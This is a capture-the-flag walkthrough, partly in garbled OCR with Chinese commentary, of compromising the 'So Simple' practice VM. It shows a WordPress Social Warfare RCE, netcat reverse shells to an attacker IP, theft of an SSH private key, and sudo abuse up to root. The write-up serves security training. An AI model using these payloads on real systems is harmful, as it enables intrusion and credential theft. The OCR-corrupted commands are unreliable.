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root@kali:~# nmap -A -p- 192.168.8.109

Starting Nmap 7.80 ( https://nmap.org )

Nmap scan report for so-simple (192.168.8.109)

Host is up (0©.00056s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2pl Ubuntu 4ubuntu@.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

| _http-server-header: Apache/2.4.41 (Ubuntu)

| _http-title: So Simple

8000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.2)

| _http-server-header: SimpleHTTP/@.6 Python/3.8.2

| _http-title: Directory listing for /

MAC Address: ©8:00:27:7C:5B:84 (Oracle VirtualBox virtual NIC)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
0S:SCAN(V=7.80%E=4%D=8/10%0T=22%CT=1%CU=33714%PV=Y%DS=1%DC=D%G=Y%M=080027%T
0S :M=5F313208%P=x86_64-pc-1inux-gnu)SEQ(SP=107%GCD=1%ISR=108%TI=Z%CI=Z%I1=1I
0S:%TS=A)0PS (01=M5B4ST11NW7%02=M5B4ST11NW7%03=M5BANNT11NW7%04=M5B4ST11NW7%0
0S:5=M5B4ST11NW7%06=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%WA4=FE88%W5=FE88%W6
0S:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%0=M5B4NNSNW7%CC=Y%Q=)T1 (R=Y%DF=Y%T=40%S=0
0S : %A=S+%F =AS%RD=0%Q=) T2 (R=N) T3 (R=N) T4 (R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD=
0S :0%Q=)T5 (R=Y%DF =Y%T=40%W=0%S = Z%A=S+%F =AR%0=%RD=0%Q= ) T6 (R=Y%DF =Y%T=40%W=0%
0S : S=A%A=Z%F=R%0=%RD=0%Q=) T7 (R=Y%DF =Y%T=40%W=0%S=2%A=S+%F =AR%0=%RD=0%Q=) U1 (
0S : R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
0S :N%T=40%CD=S)

Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 ©0.56 ms so-simple (192.168.8.109)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 29.45 seconds
root@kali:~#
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root@kali:~# gobuster dir -u http://192.168.8.109 -w /usr/share/wordlists/dirb/big.txt

Gobuster v3.0.1
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Url: http://192.168.8.109

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

Starting gobuster

/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/server-status (Status: 403)
/wordpress (Status: 301)

Finished

root@kali:~#
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Last Updated:
[!] The version is out

Found By: Ur
Confirmed By: Comment

Version: .8 ( Fide ),
Found By: Comme ( ection)
.109/wordpress,/, Match: 'Social Warfare v3.

ontent/plugins/social-warfare/readme.tx
ction)

R — T BARR, R34 rcelii
RCE Vulnerability

We manipulated a file in an internal environmental server with the below content, which stores a phpinfo function
inside <pre> tags. phpinfo() is a PHP function which shows the current state and environment configuration of
PHP. It's usually used as a remote payload demonstrating PHP execution.

<pre>
phpinfo () ;

</pre>

We then visited the following URI on the vulnerable site and found the phpinfo() function was executed:

http:/#<vulnerable-host>/wp-admin/admin-post.php?
swp_debug=load_options&swp_url=http:/*** *** *** /phpinfo.txt

<« C @ Not Secure | 10.2.156.63:8000/wp-admin/admin-post. php?swp_debug=load_options&swp_url=http://app.Ikow.cn/phpinfo. tet

PHP Version 7.2.12

System Linux 01743020651 4.4,0-139-generic #155-Ubuntu SMP Wed Dot 24 10:58:50 UTC 2018 x85_64

Build Date Nov 9 2018 23:45:17

Configure Command Jeonfigu ild =x88_64- linux-gnu' “--with-config-file-path=fusr/localietc/php’ '--with-config-file-
scan-dirs, I 4 e ing=tatal' --with-mhash" '--enable-ftp' -~
enable-mbstr nable-mysaqind' --wi 2" v =shared' "~-with-cur
with-libedii' '=-with-openss!''=-with-zIib" '»-with-ibdir=/xB6_B4-Tinux-gnu’ "--with-apxs2" '--disable-cqi
“build_alia: 64-linux-gou'

Server API Apache 2.0 Hendler

Virtual Directory Support disabled

4, RIFFIFE, AHFE—Ashelltt, WZEWT, 192.168.8.209%kaliftip

<pre>
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.8.209 4444 >/tmp/f');
</pre>

fEkali_E {3 Fl pythonZs st 1% i — il Zhweb ik 5548, 285 7T /8 BT

python -m SimpleHTTPServer


https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-wordpress-social-warfare-plugin-cve-2019-9978/

~ff 1s shell.txt

[ 1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.8.209 4444 >/tmp/

[ '] Re e shell command copied to clipboard!
[ In e you want to upgrade your shell, you can use this:

python -c 'import pty;pty.spawn(”/bin/bash")’
[ 1

1 no

1 ves

A
istening on [any] 4444

[
[
1i
i

V7 1) 5 [ s shell

http://192.168.8.109/wordpress/wp-admin/admin-post.php?swp_debug=1oad_options&swp_url=http://192.168.8.209:

[ ] no
[ =] =
11;Tﬂn1ng on [4r ] L4k

bash: cannot s¢ i process group ( }: C for device
bash: no job control in this shell
wwwi—datadso-simple: w/html/wordpress/wp-admin$ JJ

Z3FE—AMflag

HAZ/homeH 3, RIAMWAH MR, S AmaxH 3k, KI—Puser.xdt3fF, ERKAVHMIR, &F
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www-data@so-simple:/var/www/html/wordpress/wp-admin$ cd /home
cd /home
www-data@so-simple:/home$ 1s
1s
max
steven
www-data@so-simple: /home$ cd max
cd max
www-data@so-simple:/home/max$ 1ls -1la
1s -1la
total 52
drwxr-xr-x 7 max max 4096 Jul 15 18:19 .
drwxr-xr-x 4 root root 4096 Jul 12 22:42 ..
1 max max 220 Feb 25 12:03 .bash_logout
1

-rW-r--r--
-PW-r--r-- max max 3810 Jul 12 21:40 .bashrc
drwx------ 2 max max 4096 Jul 12 13:06 .cache
drwx------ 3 max max 4096 Jul 12 15:39 .gnupg
drwxrwxr-x 3 max max 4096 Jul 12 15:24 .local
-PW------- 1 max max 118 Jul 12 20:44 .mysql_history

-rw-r--r-- 1 max max 807 Feb 25 12:03 .profile

drwxr-xr-x 2 max max 4096 Jul 14 19:41 .ssh

-rw-r--r-- 1 max max 49 Jul 12 20:41 personal.txt
3 max max 4096 Jul 12 21:23 this

-rwxr-x--- 1 max max 33 Jul 13 21:41 user.txt

drwxrwxr-x

www-data@so-simple:/home/max$ cat user.txt
cat user.txt

cat: user.txt: Permission denied
www-data@so-simple:/home/max$ cd .ssh

cd .ssh

1a

www-data@so-simple:/home/max/.ssh$ 1ls

1s -1a

total 20

drwxr-xr-x 2 max max 4096 Jul 14 19:41 .

drwxr-xr-x 7 max max 4096 Jul 15 18:19 ..

-rw-r--r-- 1 max max 568 Jul 14 19:41 authorized_keys
1 root root 2602 Jul 14 19:41 id_rsa

-rw-r--r-- 1 root root 568 Jul 14 19:41 id_rsa.pub

www-data@so-simple:/home/max/.ssh$ python3 -m http.server

-PWXr-Xr-x

python3 -m http.server

¥ %S ssh& 3%, B Fuser.txtf3 25—/ Mlag



root@kali:~# wget http://192.168.8.109:8000/id_rsa
http://192.168.8.109:8000/1id_rsa

IE7E#%$# 192.168.8.109:8000... DiEE:.

ERH HTTP ¥R, IEEZMFEIR... 200 OK

KPE: 2602 (2.5K) [application/octet-stream]
EEREZE: “id_rsa”

id_rsa 100%[ =======o=ssososoooooossoooooooooooooos

(180 MB/s) - TMREAE “id_rsa” [2602/2602])

root@kali:~# chmod 600 id_rsa

root@kali:~# ssh -i id_rsa max@192.168.8.109

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

System information as of Mon Aug 10 10:38:06 UTC 2020

System load: ©.49 Processes: 132

Usage of /: 55.6% of 8.79GB  Users logged in: %]

Memory usage: 20% IPv4 address for dockere: 172.17.0.1
Swap usage: 0% IPv4 address for enp@s3: 192.168.8.109

* "If you've been waiting for the perfect Kubernetes dev solution for
macOS, the wait is over. Learn how to install Microk8s on macOS."

https://www.techrepublic.com/article/how-to-install-microk8s-on-macos/
47 updates can be installed immediately.

@ of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 15 19:18:39 2020 from 192.168.1.7
max@so-simple:~$ 1s

lpersonal.txt this user.txt

max@so-simple:~$ cat user.txt
073dafccfe902526cee753455Ff1dbbo

EElpersonal it N &, baseb4f 2, ¥ H

SGFoYWhhaGFoYSwgaXQncyBub3QgdGhhdCB1YXN5ICEhISA=

Hahahahaha, it's not that easy !!!

6. 1 Fsudo -I% 3L 7] LA 4 % A F steven & 4 47 service s &



max@so-simple:~$ sudo -1
Matching Defaults entries for max on so-simple:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\

User max may run the following commands on so-simple:
(steven) NOPASSWD: /usr/sbin/service
max@so-simple:~$

{8 Fservicefir &1 Fsteven, XK HFK T KMuser2.txt, 1532 —/>flag

max@so-simple:~$ sudo -u steven service ../../bin/bash
steven@so-simple:/$ cd ~
steven@so-simple:/home/steven$ ls

user2.txt

steven@so-simple:/home/steven$ cat user2.txt
b662b31b7d8cb9f5cdc9c201033719b8
steven@so-simple:/home/steven$

7. f Fsudo -I& B AT LG A i root B 4 & 47 — M I A SCA

steven@so-simple:/home/steven$ sudo -1
Matching Defaults entries for steven on so-simple:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\

User steven may run the following commands on so-simple:
(root) NOPASSWD: /opt/tools/server-health.sh
steven@so-simple:/home/steven$

BHABloptHX T, &AtoolsHZX, HOHEBRFMXME, EANE

steven@so-simple:/home/steven$ cd /opt/tools/

steven@so-simple:/opt/tools$ cat server-health.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.8.209 1234 >/tmp/f
steven@so-simple:/opt/tools$

2 i W T 1234385



windows_powershell

[ 1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.8.209 1234 >/tmp/f

[ ! ] Reverse shell command copied to clipboard!
[ + 1 In case you want to upgrade your shell, you can use this:

python -c 'import pty;pty.spawn{"/bin/bash")’
[ 1
no

1
1 yes
ening on [any] 1

[
[ x
list
|

5 FHroot S i AT B A, BT )R #ishell, &35 % flag

steven@so-simple:/opt/tools$ sudo -u root ./server-health.sh



root@so-simple:/opt/tools# cd ~
cd ~

root@so-simple:~# 1ls

1s

flag.txt

snap

root@so-simple:~# cat flag.txt
cat flag.txt

/$3%9$$ /%% /%%
/3%5__ %% | $$ | $$
| $$ \__/ /$3$3%% /$3$393% /39898 /939895 /$$$5%$ /398985 /$$5859%%| $%
| $$ /$$__ $$| $$__ 9% /8% $$ /$$__ 98| $$|_ $$_/ |___ /$%/| $3$
| $$ | $$ \ $$| 3% \ $$| $3 \ $$| $5 \_/ /3939395 | $$ /$$%$/ |__/
| 3 33| $% | $$| 85 | $%| 3% | $$| $% /%$__ $% | $% /9% /$$__/
| $$$$98/| $$893%/| $$ | $%| $9393%5| $% | $93$3%8 | $3$3//939393%% /3%
\ / 0\ /N 88|/ \ /o \__/ | /Nt
/3% \ $%
| $3$3%3/
\ /
/%% /%% /%%
| %% /$3/ | $/
\ 9% /$3//933%8% /335 /$%|_//%% /3% /$$$$$% /$3%9%3 /%3 /%3 /93 /9933398 /933398 /$%%
\ $938//%8__ 3% 8% | $% | $% /$%//%%_ 93 /9$__ $%| $% | 9% | 33| $5_ 9% /95_ $% /$%__

\ $$/1 3% \ $3| 835 | 5\ $$/%%/| $9$9$9%%
| $3 | 33 | 33| 33 | $% \ $$%/ | $% / $p | 33| 33 | 33 | 33| 33 | $$| $% /1 $$
| $% | 933833/ $$$933/ \ 8/ | $3393%3 $989898/| $9$9$/998%/| $% | $9| $3989%%| $99

| 3 \ 33| 3% | 93 | $3| $3 \ $$| 93939393 $%

I

I
[/ \ /N / \_/ \ / | $$___/ \ N |/

I

I

I

|/ \ /N
$$
/3% /$3%9%$ /$3%%%$ /%% $$ /%% /%%
| $//$%__ $3% /9$__ $%[__/ _/ | $$ | $/
[_/] $% \_/ /$3$$3% | $% \__/ /3% /$33935/3985  /$939%$ | $$5 /93$$3%|_/
| $$3%3% /$5__ 3% | 933935 | $$| $5_ $$_ $% /$5__ 33| $$ /$%__ 9%
\____ %3] ¥ \ %% 9% 33| 3%\ $5 \ 3| $5 \ $$| $$| $$989%9%
/%% \ $%| $% | 3 /%% \ $$| 33| % | 9% | 33| 33 | 9% $%| $5____ /
| $$$$%$/| $393$9%/ | $3$$8$/| $%| $% | 33 | $$| $39393%/| $3| $$9$9%%
\ / N\ / \ LA 88/ |/ \ /
| $%
| $%
|_/

Easy box right? Hope you've had fun! Show me the flag on Twitter @roelvb79

root@so-simple:~#
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